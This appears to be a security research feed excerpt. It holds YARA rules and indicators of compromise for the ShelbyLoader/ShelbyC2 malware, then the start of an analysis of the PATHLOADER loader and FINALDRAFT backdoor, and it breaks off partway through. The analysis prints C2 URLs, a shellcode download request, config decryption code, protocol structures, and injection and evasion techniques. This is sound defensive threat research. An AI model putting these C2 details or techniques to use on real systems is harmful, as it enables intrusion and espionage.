<pre><code>rule Windows_Trojan_ShelbyLoader {
    meta:
        author = "Elastic Security"
        creation_date = "2025-03-11"
        last_modified = "2025-03-25"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "ShelbyLoader"
        threat_name = "Windows.Trojan.ShelbyLoader"
        license = "Elastic License v2"

    strings:
        $a0 = "[WARN] Unusual parent process detected: "
        $a1 = "[ERROR] Exception in CheckParentProcess:" fullword
        $a2 = "[INFO] Sandbox Not Detected by CheckParentProcess" fullword
        $b0 = { 22 63 6F 6E 74 65 6E 74 22 3A 20 22 2E 2B 3F 22 }
        $b1 = { 22 73 68 61 22 3A 20 22 2E 2B 3F 22 }
        $b2 = "Persist ID: " fullword
        $b3 = "https://api.github.com/repos/" fullword
    condition:
        all of ($a*) or all of ($b*)
}

rule Windows_Trojan_ShelbyC2 {
    meta:
        author = "Elastic Security"
        creation_date = "2025-03-11"
        last_modified = "2025-03-25"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "ShelbyC2"
        threat_name = "Windows.Trojan.ShelbyC2"
        license = "Elastic License v2"

    strings:
        $a0 = "File Uploaded Successfully" fullword
        $a1 = "/dlextract" fullword
        $a2 = "/evoke" fullword
        $a4 = { 22 73 68 61 22 3A 20 22 2E 2B 3F 22 }
        $a5 = { 22 2C 22 73 68 61 22 3A 22 }
    condition:
        all of them
}
</code></pre>
<h2 id="observations">Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/shelby-strategy">download</a> in both ECS and STIX format in a combined zip bundle.</p>
<p>The following observables were discussed in this research.</p>
<p>| Observable                                                       | Type        | Name            | Reference                |
|------------------------------------------------------------------|-------------|-----------------|--------------------------|
| <code>0e25efeb4e3304815f9e51c1d9bd3a2e2a23ece3a32f0b47f829536f71ead17a</code> | SHA-256     | <code>details.zip</code>     | Lure zip file            |
| <code>feb5d225fa38efe2a627ddfbe9654bf59c171ac0742cd565b7a5f22b45a4cc3a</code> | SHA-256     | <code>JPerf-3.0.0.exe</code> |                          |
| <code>0354862d83a61c8e69adc3e65f6e5c921523eff829ef1b169e4f0f143b04091f</code> | SHA-256     | <code>HTTPService.dll</code> | SHELBYLOADER             |
| <code>fb8d4c24bcfd853edb15c5c4096723b239f03255f17cec42f2d881f5f31b6025</code> | SHA-256     | <code>HTTPApi.dll</code>     | SHELBYC2                 |
| <code>472e685e7994f51bbb259be9c61f01b8b8f35d20030f03215ce205993dbad7f5</code> | SHA-256     | <code>JPerf-3.0.0.zip</code> | Lure zip file            |
| <code>5c384109d3e578a0107e8518bcb91cd63f6926f0c0d0e01525d34a734445685c</code> | SHA-256     | <code>Setup.exe</code>       |                          |
| <code>e51c6f0fbc5a7e0b03a0d6e1e1d26ab566d606b551c785bf882e9a02f04c862b</code> | SHA-256     |                 | Lure zip file            |
| <code>github[.]com/johnshelllby</code>                                          | URL         |                 | GitHub Account name - C2 |
| <code>github[.]com/arturshellby</code>                                         | URL         |                 | GitHub Account name - C2 |
| <code>arthurshelby[.]click</code>                                             | domain-name |                 | DNS domain               |
| <code>speed-test[.]click</code>                                               | domain-name |                 |                          |
| <code>2.56.126[.]151</code>                                                   | ipv4        |                 |                          |
| <code>2.56.126[.]157</code>                                                   | ipv4        |                 |                          |
| <code>2.56.126[.]188</code>                                                   | ipv4        |                 |                          |
| <code>172.86.68[.]55</code>                                                   | ipv4        |                 |                          |
| <code>195.16.74[.]138</code>                                                  | ipv4        |                 |                          |</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/the-shelby-strategy</link>
    <guid isPermaLink="false">the-shelby-strategy</guid>
    <category><![CDATA[Malware Analysis]]></category>
    <dc:creator><![CDATA[Salim Bitam,Seth Goodwin]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd9d28508f088085f/6a7c96bfe02fac1e425d09b9/shelby.png" length="0" type="image/png"/>
    <pubDate>Wed, 26 Mar 2025 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[You've Got Malware: FINALDRAFT Hides in Your Drafts]]></title>
    <description><![CDATA[During a recent investigation (REF7707), Elastic Security Labs discovered new malware targeting a foreign ministry. The malware includes a custom loader and backdoor with many features including using Microsoft’s Graph API for C2 communications.]]></description>
    <content:encoded><![CDATA[<p>While investigating REF7707, Elastic Security Labs discovered a new family of previously unknown malware that leverages Outlook as a communication channel via the Microsoft Graph API. This post-exploitation kit includes a loader, a backdoor, and multiple submodules that enable advanced post-exploitation activities.</p>
<p>Our analysis uncovered a Linux variant and an older PE variant of the malware, each with multiple distinct versions that suggest these tools have been under development for some time. </p>
<p>The completeness of the tools and the level of engineering involved suggest that the developers are well-organized. The extended time frame of the operation and evidence from our telemetry suggest it’s likely an espionage-oriented campaign. </p>
<p>This report details the features and capabilities of these tools.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt62d5894a51a37d8a/6a7c83a63ce8e20adfcef743/image47.png" alt="PATHLOADER &amp; FINALDRAFT execution diagram" title="PATHLOADER &amp; FINALDRAFT execution diagram" /></p>
<p>For the campaign analysis of REF7707 - check out <a href="https://www.elastic.co/security-labs/fragile-web-ref7707">From South America to Southeast Asia: The Fragile Web of REF7707</a>.</p>
<h2 id="technicalanalysis">Technical Analysis</h2>
<h2 id="pathloader">PATHLOADER</h2>
<p>PATHLOADER is a Windows PE file that downloads and executes encrypted shellcode retrieved from external infrastructure. </p>
<p>Our team recovered and decrypted the shellcode retrieved by PATHLOADER, extracting a new implant we have not seen publicly reported, which we call FINALDRAFT. We believe these two components are used together to infiltrate sensitive environments.</p>
<h3 id="configuration">Configuration</h3>
<p>PATHLOADER is a lightweight Windows executable at 206 kilobytes; this program downloads and executes shellcode hosted on a remote server. PATHLOADER includes an embedded configuration stored in the <code>.data</code> section that includes C2 and other relevant settings. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt536d0791a9397821/6a7c83a98fc2d018943e8921/image7.png" alt="Embedded configuration" title="Embedded configuration" /></p>
<p>After Base64 decoding and converting from the embedded hex string, the original configuration is recovered with two unique typosquatted domains resembling security vendors.</p>
<pre><code>https://poster.checkponit.com:443/nzoMeFYgvjyXK3P;https://support.fortineat.com:443/nzoMeFYgvjyXK3P;*|*
</code></pre>
<p><em>Configuration from PATHLOADER</em></p>
<h3 id="apihashing">API Hashing</h3>
<p>In order to block static analysis efforts, PATHLOADER performs API hashing using the <a href="https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function">Fowler–Noll–Vo hash</a> function. This can be observed based on the immediate value <code>0x1000193</code> found 37 times inside the binary. The API hashing functionality shows up as in-line as opposed to a separate individual function.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb935f92656d3dfc5/6a7c83ab51156af54c2bc915/image10.png" alt="Occurrences of value 0x1000193" title="Occurrences of value 0x1000193" /></p>
<h3 id="stringobfuscation">String Obfuscation</h3>
<p>PATHLOADER uses string encryption to obfuscate functionality from analysts reviewing the program statically. While the strings are easy to decrypt while running or if using a debugger, the obfuscation shows up in line, increasing the complexity and making it more challenging to follow the control flow. This obfuscation uses SIMD (Single Instruction, Multiple Data) instructions and XMM registers to transform the data.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4cb83167b4d73e49/6a7c83af80ee3835a360d170/image56.png" alt="String obfuscation example" title="String obfuscation example" /></p>
<p>One string related to logging <code>WinHttpSendRequest</code> error codes used by the malware developer was left unencrypted.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7b751a25e6de86bf/6a7c83b2e88c65101500585d/image55.png" alt="Logging string left unencrypted" title="Logging string left unencrypted" /></p>
<h3 id="executionbehavior">Execution/Behavior</h3>
<p>Upon execution, PATHLOADER employs a combination of  <code>GetTickCount64</code> and <code>Sleep</code> methods to avoid immediate execution in a sandbox environment. After a few minutes, PATHLOADER parses its embedded configuration, cycling through both preconfigured C2 domains (<code>poster.checkponit[.]com</code>, <code>support.fortineat[.]com</code>) attempting to download the shellcode through <code>HTTPS</code> <code>GET</code> requests.</p>
<pre><code>GET http://poster.checkponit.com/nzoMeFYgvjyXK3P HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Host: poster.checkponit.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36
</code></pre>
<p>The shellcode is AES encrypted and Base64 encoded. The AES decryption is performed using the shellcode download URL path <code>“/nzoMeFYgvjyXK3P”</code> as the 128-bit key used in the call to the <code>CryptImportKey</code> API.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd401a748af02bd3c/6a7c83b4fc63ab1de1646f7c/image53.png" alt="CryptImportKey parameters" title="CryptImportKey parameters" /></p>
<p>After the <code>CryptDecrypt</code> call, the decrypted shellcode is copied into previously allocated memory. The memory page is then set to <code>PAGE_EXECUTE_READ_WRITE</code> using the <code>NtProtectVirtualMemory</code> API. Once the page is set to the appropriate protection, the shellcode entrypoint is called, which in turn loads and executes the next stage: FINALDRAFT.</p>
<h2 id="finaldraft">FINALDRAFT</h2>
<p>FINALDRAFT is a 64-bit malware written in C++ that focuses on data exfiltration and process injection. It includes additional modules, identified as parts of the FINALDRAFT kit, which can be injected by the malware. The output from these modules is then forwarded to the C2 server.</p>
<h3 id="entrypoint">Entrypoint</h3>
<p>FINALDRAFT exports a single entry point as its entry function. The name of this function varies between samples; in this sample, it is called <code>UpdateTask</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltff33a6565fcfa8cb/6a7c83b78fc2d0829c3e8925/image51.png" alt="PE export of FINALDRAFT" title="PE export of FINALDRAFT" /></p>
<h3 id="initialization">Initialization</h3>
<p>The malware is initialized by loading its configuration and generating a session ID. </p>
<h4 id="configurationloadingprocess">Configuration loading process</h4>
<p>The configuration is hardcoded in the binary in an encrypted blob. It is decrypted using the following algorithm.</p>
<pre><code>for ( i = 0; i &lt; 0x149A; ++i )
  configuration[i] ^= decryption_key[i &amp; 7];
</code></pre>
<p><em>Decryption algorithm for configuration data</em></p>
<p>The decryption key is derived either from the Windows product ID (<code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId</code>) or from a string located after the encrypted blob. This is determined by a global flag located after the encrypted configuration blob.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8376828c2698d340/6a7c83b9ead8ec4d7dba496b/image8.png" alt="Decryption key and flag found after the encrypted config blob" title="Decryption key and flag found after the encrypted config blob" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltad5888ebf014ccc3/6a7c83bc51156a85582bc919/image41.png" alt="Choice between the decryption key or Windows product ID for derivation" title="Choice between the decryption key or Windows product ID for derivation" /></p>
<p>The decryption key derivation algorithm is performed as follows:</p>
<pre><code>uint64_t decryption_key = 0;
do
  decryption_key = *data_source++ + 31 * decryption_key;
while ( data_source != &amp;data_source[data_source_length] );
</code></pre>
<p><em>Decryption key derivation algorithm</em></p>
<p>The configuration structure is described as follows:</p>
<pre><code>struct Configuration // sizeof=0x149a
{
  char c2_hosts_or_refresh_token[5000];
  char pastebin_url[200];
  char guid[36];
  uint8_t unknown_0[4];
  uint16_t build_id;
  uint32_t sleep_value;
  uint8_t communication_method;
  uint8_t aes_encryption_key[16];
  bool get_external_ip_address;
  uint8_t unknown_1[10]
};
</code></pre>
<p><em>Configuration structure</em></p>
<p>The configuration is consistent across variants and versions, although not all fields are utilized. For example, the communication method field wasn't used in the main variant at the time of this publication, and only the MSGraph/Outlook method was used. However, this is not the case in the ELF variant or prior versions of FINALDRAFT.</p>
<p>The configuration also contains a Pastebin URL, which isn’t used across any of the variants. However, this URL was quite useful to us for pivoting from the initial sample.</p>
<h4 id="sessionidderivationprocess">Session ID derivation process</h4>
<p>The session ID used for communication between FINALDRAFT and C2 is generated by creating a random GUID, which is then processed using the <a href="https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function">Fowler-Noll-Vo</a> (FNV) hash function.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltdf7c45f6158ff423/6a7c83bfda3d05450c633dbb/image43.png" alt="FINALDRAFT client ID generation" title="FINALDRAFT client ID generation" /></p>
<h3 id="communicationprotocol">Communication protocol</h3>
<p>During our analysis, we discovered that different communication methods are available from the configuration; however, the most contemporary sample at this time uses only the <code>COutlookTrans</code> class, which abuses the Outlook mail service via the Microsoft Graph API. This same technique was observed in <a href="https://www.elastic.co/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns">SIESTAGRAPH</a>, a previously unknown malware family reported by Elastic Security Labs in February 2023 and attributed to a PRC-affiliated threat group.</p>
<p>The Microsoft Graph API token is obtained by FINALDRAFT using the <a href="https://login.microsoftonline.com/common/oauth2/token">https://login.microsoftonline.com/common/oauth2/token</a> endpoint. The refresh token used for this endpoint is located in the configuration.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5d1d0c92e8f36552/6a7c83c17cfd7a2eac314d56/image36.png" alt="Building refresh token request" title="Building refresh token request" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt232d826909c761a6/6a7c83c433fa8a91761fc951/image40.png" alt="Token refresh POST request" title="Token refresh POST request" /></p>
<p>Once refreshed, the Microsoft Graph API token is stored in the following registry paths based on whether the user has administrator privileges: </p>
<ul>
<li><code>HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\&lt;uuid_from_configuration&gt;</code>  </li>
<li><code>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\&lt;uuid_from_configuration&gt;</code></li>
</ul>
<p>This token is reused across requests, if it is still valid.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt626d9f3ebe9fa361/6a7c83c751156a43e62bc91d/image3.png" alt="Storing refresh token in the registry" title="Storing refresh token in the registry" /></p>
<p>The communication loop is described as follows:</p>
<ul>
<li>Create a session email draft if it doesn’t already exist.  </li>
<li>Read and delete command request email drafts created by the C2.  </li>
<li>Process commands  </li>
<li>Write command response emails as drafts for each processed command.</li>
</ul>
<p>A check is performed to determine whether a session email, in the form of a command response email identified by the subject <code>p_&lt;session-id&gt;</code>, already exists. If it does not, one is created in the mail drafts. The content of this email is base64 encoded but not AES encrypted.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt98d284d73f55f0b8/6a7c83ca77b03418c73f95c8/image19.png" alt="Check for session email and create one if it doesn't exist" title="Check for session email and create one if it doesn't exist" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt115be761885361fc/6a7c83cde88c659654005861/image46.png" alt="Session email: GET and POST requests" title="Session email: GET and POST requests" /></p>
<p>The session data is described in the structure below.</p>
<pre><code>struct Session
{
  char random_bytes[30];
  uint32_t total_size;
  char field_22;
  uint64_t session_id;
  uint64_t build_number;
  char field_33;
};
</code></pre>
<p><em>Session data structure</em></p>
<p>The command queue is filled by checking the last five C2 command request emails in the mail drafts, which have subjects <code>r_&lt;session-id&gt;</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0c9cac1d0cc2ef1c/6a7c83d096b5a63697875599/image39.png" alt="Checking for commands email" title="Checking for commands email" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3108b5c5a07a9acf/6a7c83d377b034839a3f95cc/image49.png" alt="Command polling GET request" title="Command polling GET request" /></p>
<p>After reading the request, emails are then deleted.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt361b025779957322/6a7c83d6227b1c19bd5926d3/image15.png" alt="Deleting command email after reading" title="Deleting command email after reading" /></p>
<p>Commands are then processed, and responses are written into new draft emails, each with the same <code>p_&lt;session-id&gt;</code> subject for each command response.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt15dc50dacd34edae/6a7c83d9448e4e76055babac/image13.png" alt="Command response POST request" title="Command response POST request" /></p>
<p>Content for message requests and responses are <strong>Zlib</strong> compressed, <strong>AES CBC</strong> encrypted, and Base64 encoded. The AES key used for encryption and decryption is located in the configuration blob. </p>
<p><code>Base64(AESEncrypt(ZlibCompress(data)))</code></p>
<p>Request messages sent from the C2 to the implant follow this structure.</p>
<pre><code>struct C2Message{
  struct {
    uint8_t random_bytes[0x1E];  
    uint32_t message_size;    
    uint64_t session_id;      
  } header;                     // Size: 0x2A (42 bytes)

  struct {
    uint32_t command_size;                     
    uint32_t next_command_struct_offset;
    uint8_t command_id;                   
    uint8_t unknown[8];                   
    uint8_t command_args[];                       
  } commands[];
};
</code></pre>
<p><em>Request message structure</em></p>
<p>Response messages sent from the implant to C2 follow this structure.</p>
<pre><code>struct ImplantMessage {
  struct Header {
    uint8_t random_bytes[0x1E];  
    uint32_t total_size;    
    uint8_t flag;        // Set to 1
    uint64_t session_id;
    uint16_t build_id;
    uint8_t pad[6];
  } header;

  struct Message {
    uint32_t actual_data_size_add_0xf;
    uint8_t command_id;
    uint8_t unknown[8];
    uint8_t flag_success;
    char newline[0x2];
    uint8_t actual_data[];
  }                    
};
</code></pre>
<p><em>Response message structure</em></p>
<p>Here is an example of data stolen by the implant.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt381e501912076bcb/6a7c83dce88c6540f7005867/image52.png" alt="Response message example" title="Response message example" /></p>
<h3 id="commands">Commands</h3>
<p>FinalDraft registers 37 command handlers, with most capabilities revolving around process injection, file manipulation, and network proxy capabilities.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3d5399806d7000da/6a7c83df2f00b2f1f7ef8e8f/image23.png" alt="FINALDRAFT command handler setup" title="FINALDRAFT command handler setup" /></p>
<p>Below is a table of the commands and their IDs:</p>
<p>| ID   | Name                                         |
| :--- | :------------------------------------------- |
| 0    | GatherComputerInformation                    |
| 2    | StartTcpServerProxyToC2                      |
| 3    | StopTcpServerProxyToC2                       |
| 4    | ConnectToTcpTargetStartProxyToC2             |
| 5    | SetSleepValue                                |
| 6    | DeleteNetworkProjectorFwRuleAndStopTCPServer |
| 8    | ConnectToTcpTarget                           |
| 9    | SendDataToUdpOrTcpTarget                     |
| 10   | CloseTcpConnection                           |
| 11   | DoProcessInjectionSendOutputEx               |
| 12   | ListFiles                                    |
| 13   | ListAvailableDrives                          |
| 14   | CreateDirectory                              |
| 15   | DeleteFileOrDirectory                        |
| 16   | DownloadFile                                 |
| 17   | UploadFile0                                  |
| 18   | DummyFunction                                |
| 19   | SetCurrentDirectory                          |
| 20   | GetCurrentDirectory                          |
| 21   | ListRunningProcesses                         |
| 24   | DoProcessInjectionNoOutput                   |
| 25   | DoProcessInjectionNoOutput (Same as 24)     |
| 26   | DoProcessInjectionSendOutput1                |
| 28   | DisconnectFromNamedPipe                      |
| 30   | ConnectToNamedPipeAndProxyMessageToC2        |
| 31   | GetCurrentProcessTokenInformation            |
| 32   | EnumerateActiveSessions                      |
| 33   | ListActiveTcpUdpConnections                  |
| 35   | MoveFile1                                    |
| 36   | GetOrSetFileTime                             |
| 39   | UploadFile1                                  |
| 41   | MoveFile0                                    |
| 42   | CopyFileOrCopyDirectory                      |
| 43   | TerminateProcess                             |
| 44   | CreateProcess                                |</p>
<p><em>FINALDRAFT command handler table</em></p>
<h3 id="gathercomputerinformation">Gather computer information</h3>
<p>Upon execution of the <code>GatherComputerInformation</code> command, information about the victim machine is collected and sent by FINALDRAFT. This information includes the computer name, the account username, internal and external IP addresses, and details about running processes.</p>
<p>This structure is described as follows:</p>
<pre><code>struct ComputerInformation
{
  char field_0;
  uint64_t session_id;
  char field_9[9];
  char username[50];
  char computer_name[50];
  char field_76[16];
  char external_ip_address[20];
  char internal_ip_address[20];
  uint32_t sleep_value;
  char field_B2;
  uint32_t os_major_version;
  uint32_t os_minor_version;
  bool product_type;
  uint32_t os_build_number;
  uint16_t os_service_pack_major;
  char field_C2[85];
  char field_117;
  char current_module_name[50];
  uint32_t current_process_id;
};
</code></pre>
<p><em>Collected information structure</em></p>
<p>The external IP address is collected when enabled in the configuration.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7e016aca788d469c/6a7c83e2e02fac57915d052d/image37.png" alt="Retrieve external IP if flag is set" title="Retrieve external IP if flag is set" /></p>
<p>This address is obtained by FINALDRAFT using the following list of public services.</p>
<p>| Public service                 |
| :----------------------------- |
| <code>hxxps://ip-api.io/json</code>       |
| <code>hxxps://ipinfo.io/json</code>       |
| <code>hxxps://myexternalip.com/raw</code> |
| <code>hxxps://ipapi.co/json/</code>       |
| <code>hxxps://jsonip.com/</code>          |</p>
<p><em>IP lookup service list</em></p>
<h3 id="processinjection">Process injection</h3>
<p>FINALDRAFT has multiple process injection-related commands that can inject into either running processes or create a hidden process to inject into.</p>
<p>In cases where a process is created, the target process is either an executable path provided as a parameter to the command or defaults to <code>mspaint.exe</code> or <code>conhost.exe</code> as a fallback.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd7cc17dcfd1e5112/6a7c83e542a117334f95612f/image50.png" alt="mspaint.exe process injection target" title="mspaint.exe process injection target" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9a29ca5dc494d27f/6a7c83e7bdcff0b44fc3d0ea/image33.png" alt="conhost.exe process injection target" title="conhost.exe process injection target" /></p>
<p>Depending on the command and its parameters, the process can be optionally created with its standard output handle piped. In this case, once the process is injected, FINALDRAFT reads from the pipe's output and sends its content along with the command response.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt05f9b1b37a28e917/6a7c83ecc33f4fcca0d54a76/image44.png" alt="Create hidden process with piped STD handles" title="Create hidden process with piped STD handles" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltfa56c62f249e4a76/6a7c83ef8fc2d0a8a73e892f/image24.png" alt="Read process' piped stdout" title="Read process' piped stdout" /></p>
<p>Another option exists where, instead of piping the standard handle of the process, FINALDRAFT, after creating and injecting the process, waits for the payload to create a Windows named pipe. It then connects to the pipe, writes some information to it, reads its output, and sends the data to the C2 through a separate channel. (In the case of the Outlook transport channel, this involves creating an additional draft email.).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt14088d0d2733387c/6a7c83f3448e4ecdc75babb4/image58.png" alt="Wait for injected process to create its named pipe" title="Wait for injected process to create its named pipe" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta998b0e4e4919d3e/6a7c83f551156a53fa2bc92b/image29.png" alt="Read from named pipe and send to C2" title="Read from named pipe and send to C2" /></p>
<p>The process injection procedure is basic and based on <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, and <code>RtlCreateUserThread</code> API.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf4cc77c470718fcf/6a7c83f8de2315126efd1e2e/image48.png" alt="Process injection method" title="Process injection method" /></p>
<h3 id="forwardingdatafromtcpudpandnamedpipes">Forwarding data from TCP, UDP, and named pipes</h3>
<p>FINALDRAFT offers various methods of proxying data to C2, including UDP and TCP listeners, and a named pipe client.</p>
<p>Proxying UDP and TCP data involves handling incoming communication differently based on the protocol. For UDP, messages are received directly from the sender, while for TCP, client connections are accepted before receiving data. In both cases, the data is read from the socket and forwarded to the transport channel.</p>
<p>Below is an example screenshot of the <code>recvfrom</code> call from the UDP listener.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbafba11e8514ab53/6a7c83fbead8ec2d5bba4975/image16.png" alt="Received data from UDP client" title="Received data from UDP client" /></p>
<p>Before starting the TCP listener server, FINALDRAFT adds a rule to the Windows Firewall. This rule is removed when the server shuts down. To add/remove these rules the malware uses <strong>COM</strong> and the <a href="https://learn.microsoft.com/en-us/windows/win32/api/netfw/nn-netfw-inetfwpolicy2">INetFwPolicy2</a> and the <a href="https://learn.microsoft.com/en-us/windows/win32/api/netfw/nn-netfw-inetfwrule">INetFwRule</a> interfaces.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc30a532d33ca472f/6a7c83fe51156a70212bc933/image34.png" alt="FINALDRAFT adds firewall rule to allow TCP server" title="FINALDRAFT adds firewall rule to allow TCP server" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt907282f52dbc47a8/6a7c840051156a9d892bc937/image30.png" alt="Instantiating the NetFwPolicy2 COM interface" title="Instantiating the NetFwPolicy2 COM interface" /></p>
<p>FINALDRAFT can also establish a TCP connection to a target. In this case, it sends a magic value, <code>“\x12\x34\xab\xcd\ff\xff\xcd\xab\x34\x12”</code> and expects the server to echo the same magic value back before beginning to forward the received data.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltef965e2efc4e1e88/6a7c840473d9bd5b96297c36/image27.png" alt="Send and receive magic data to/from TCP target" title="Send and receive magic data to/from TCP target" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0e4b6fd1c89627e3/6a7c840773d9bd6931297c3a/image18.png" alt="Magic data blob" title="Magic data blob" /></p>
<p>For the named pipe, FINALDRAFT only connects to an existing pipe. The pipe name must be provided as a parameter to the command, after which it reads the data and forwards it through a separate channel.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt717b5ccda63e8679/6a7c840a2f00b21ea4ef8e95/image31.png" alt="Forward data from named pipe" title="Forward data from named pipe" /></p>
<h3 id="filemanipulation">File manipulation</h3>
<p>For the file deletion functionality, FINALDRAFT prevents file recovery by overwriting file data with zeros before deleting them. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt34f68d62f743a429/6a7c840d5967e5cbb75d7566/image54.png" alt="Zero out file before deletion" title="Zero out file before deletion" /></p>
<p>FINALDRAFT defaults to <code>CopyFileW</code> for file copying. However, if it fails, it will attempt to copy the file at the NTFS cluster level.</p>
<p>It first opens the source file as a drive handle. To retrieve the cluster size of the volume where the file resides, it uses <code>GetDiskFreeSpaceW</code> to retrieve information about the number of sectors per cluster and bytes per sector. <code>DeviceIoControl</code> is then called with <code>FSCTL_GET_RETRIEVAL_POINTERS</code> to retrieve details of extents: locations on disk storing the data of the specified file and how much data is stored there in terms of cluster size. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5ff461ddefe03b38/6a7c841073d9bdf936297c3e/image14.png" alt="Retrieving file data extents" title="Retrieving file data extents" /></p>
<p>For each extent, it uses <code>SetFilePointer</code> to move the source file pointer to the corresponding offset in the volume; reading and writing one cluster of data at a time from the source file to the destination file.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt81b87a13af255041/6a7c84134c4bfb92c9cc7904/image57.png" alt="Read/write file between clusters" title="Read/write file between clusters" /></p>
<p>If the file does not have associated cluster mappings, it is a resident file, and data is stored in the MFT itself. It uses the file's MFT index to get its raw MFT record. The record is then parsed to locate the <code>$DATA</code> attribute (type identifier  = 128). Data is then extracted from this attribute and written to the destination file using <code>WriteFile</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltedf61eb0b8a9bfd5/6a7c8416da3d05067b633dcf/image17.png" alt="Copy resident files using MFT records" title="Copy resident files using MFT records" /></p>
<h3 id="injectedmodules">Injected Modules</h3>
<p>Our team observed several additional modules loaded through the <code>DoProcessInjectionSendOutputEx</code> command handler performing process injection and writing the output back through a named pipe. This shellcode injected by FINALDRAFT leverages the well-known <a href="https://github.com/monoxgas/sRDI/blob/master/ShellcodeRDI/ShellcodeRDI.c">sRDI</a> project, enabling the loading of a fully-fledged PE DLL into memory within the same process, resolving its imports and calling its export entrypoint.</p>
<h4 id="networkenumerationipconfigx64dll">Network enumeration (<code>ipconfig.x64.dll</code>)</h4>
<p>This module creates a named pipe (<code>\\.\Pipe\E340C955-15B6-4ec9-9522-1F526E6FBBF1</code>) waiting for FINALDRAFT to connect to it.  Perhaps to prevent analysis/sandboxing, the threat actor used a password (<code>Aslire597</code>) as an argument, if the password is incorrect, the module will not run.  </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf7f9ca844f9b7940/6a7c84198fc2d03e583e8939/image12.png" alt="String comparison with command-line password" title="String comparison with command-line password" /></p>
<p>As its name suggests, this module is a custom implementation of the ipconfig command retrieving networking information using Windows API’s (<code>GetAdaptersAddresses</code>, <code>GetAdaptersInfo</code>, <code>GetNetworkParams</code>) and reading the Windows registry keypath (<code>SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces</code>). After the data is retrieved, it is sent back to FINALDRAFT through the named pipe.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc397f287d994e5c3/6a7c841c9f52511c44664045/image38.png" alt="Retrieving network adapter information" title="Retrieving network adapter information" /></p>
<h4 id="powershellexecutionpsloaderx64dll">PowerShell execution (<code>Psloader.x64.dll</code>)</h4>
